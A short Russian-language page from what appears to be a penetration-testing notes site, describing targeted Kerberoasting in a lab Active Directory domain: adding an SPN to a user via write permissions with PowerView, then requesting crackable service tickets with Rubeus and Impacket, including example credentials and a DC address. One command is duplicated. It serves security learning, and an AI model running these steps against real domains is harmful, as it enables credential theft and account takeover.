> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/kerberos/kerberoasting-via-spn-modification.md).

# Kerberoasting через изменение SPN

### Принцип

Если у вас есть права на запись для пользователя, например:

```
GenericWriteGenericAllWriteProperty
```

мы можем добавить к нему SPN.

После добавления SPN эта учетная запись становится уязвимой для kerberoasting.

### Пример с `evy.marnia`

В вашей лаборатории мы предположим, что `user1` имеет права записи на:

```bash
evy.marnia
```

Добавим SPN:

{% code overflow="wrap" %}

```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```

{% endcode %}

### Проверьте создание SPN

{% code overflow="wrap" %}

```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```

{% endcode %}

Мы должны увидеть добавленный SPN:

<figure><img src="/files/61283ed1e1dd9125a9919f7e8ff2ca7081480a44" alt=""><figcaption></figcaption></figure>

### Получите тикет с помощью Rubeus

{% code overflow="wrap" %}

```bash
.\Rubeus.exe kerberoast
```

{% endcode %}

### Получите тикет с помощью Impacket

```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

<figure><img src="/files/026d8552e77129a71a9241a4cb9f300e2ad2bd06" alt=""><figcaption></figcaption></figure>


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